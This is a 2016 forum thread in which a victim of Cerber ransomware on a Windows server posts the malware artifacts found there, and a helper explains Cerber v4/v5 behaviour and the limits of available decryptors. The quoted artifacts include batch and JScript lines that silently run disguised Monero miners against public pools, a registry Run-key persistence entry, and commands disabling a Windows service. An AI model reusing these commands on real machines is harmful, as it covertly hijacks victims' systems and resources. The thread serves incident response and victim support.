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Cerber 4/5 Encrypted files. Found batch files that ran executable


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#1 CCSC

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Posted 23 December 2016 - 10:22 AM

I have a server (2012) that was hit with Cerber 4/5 ransomware yesterday. I uploaded the ransom note and file to identify.

File names were changed to <random>.8ecd

I found the folder where the executable was and it has a few batch programs that ran to encrypt it. I didn't know if it contained the unlock key

Contents of 1.bat

 

KB890830.exe -t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u 45GoL25ZEzi4F3cdJoH6cZ7Ufr65AqSyyGe6c87cuFC3DrFdDYFAjeq9conorAjzL5V24wRYigTjJDVzch6pNDRb7d7FMz9 -p x

pause
 
Contents of 2.bat

 

KB3199986.exe -t 1 -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 45GoL25ZEzi4F3cdJoH6cZ7Ufr65AqSyyGe6c87cuFC3DrFdDYFAjeq9conorAjzL5V24wRYigTjJDVzch6pNDRb7d7FMz9 -p x

pause

 

Contents of min.js

 

var WSHShell = WScript.CreateObject("WScript.Shell");

WSHShell.Run("c:/Users/Public/Music/jb-JP/aes/KB890830.exe -t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u 45GoL25ZEzi4F3cdJoH6cZ7Ufr65AqSyyGe6c87cuFC3DrFdDYFAjeq9conorAjzL5V24wRYigTjJDVzch6pNDRb7d7FMz9 -p x", 0)
WSHShell.Run("c:/Users/Public/Music/jb-JP/aes/KB3199986.exe -t 2 -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 45GoL25ZEzi4F3cdJoH6cZ7Ufr65AqSyyGe6c87cuFC3DrFdDYFAjeq9conorAjzL5V24wRYigTjJDVzch6pNDRb7d7FMz9 -p x", 0)

 

Contents of run.bat

 

Reg Add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "MediaSVC" /t REG_SZ /d "c:\Users\Public\Music\jb-JP\aes\min.js" /f

pause

 

Contents of disable_UI0Detect.bat

 

sc config UI0Detect start= disabled

sc stop UI0Detect
pause

I've run a virus scan it it has removed the KB*.exe files, though it left behind the batch and js. The registry entry in "run.bat" does not exist.

There were a few files that were hit that weren't part of the backup, so we've saved them in hopes of a decryption tool being released.

Any other steps I should take?

Looking at it again, I guess the long string was a username. Question still stands I guess :)


Edited by CCSC, 23 December 2016 - 10:31 AM.


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#2 quietman7

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Posted 23 December 2016 - 04:30 PM


Any files that are encrypted with Cerber v4x/v5x will be renamed (encrypted) with 10 random characters followed by a random 4 character extension appended to the end of the encrypted data filename (i.e. 1xQHJgozZM.b71c) and leave files (ransom notes) named README.hta, README.html as explained here. Any files that are encrypted with Cerber v5x will also include a few new changes as explained here.

* The ransomware will now skip 640 bytes, compared to 512 bytes in previous versions, when encrypting a file.
* The minimum file size that Cerber will encrypt a file is now 2,560 bytes, compared to 1,024 bytes in previous versions. This means that any file that is smaller than 2,560 bytes will not be encrypted.


Trend Micro released a Ransomware File Decryptor for victims of earlier Cerber v1 infections but it has limitations. Expand the CERBER Decryption Limitations link near the bottom of the page...must be used on the infected machine, may take several hours to complete decryption, some files may be only partially decrypted.

Trend Micro's decryption tool does not work on Cerber v2/v3 encrypted files or the newer v4x/v5x variants which use 10 random characters with a random 4 character (i.e. .b71c) extension. Unfortunately that means, there is still no way to decrypt files by these variants without paying the ransom.

There is an ongoing discussion in this topic where you can post comments, ask questions and seek further assistance. Other victims have been directed there to share information, experiences and suggestions.When or if a solution is found, that information will be provided in this support topic and you will receive notification if subscribed to it. In addition, a news article most likely will be posted on the BleepingComputer front page.

Rather than have everyone with individual topics, it would be best (and more manageable for staff) if you posted any more questions, comments or requests for assistance in the above support topic discussion...it includes experiences by experts, a variety of IT consultants, end users and company reps who have been affected by ransomware infections. To avoid unnecessary confusion, this topic is closed.

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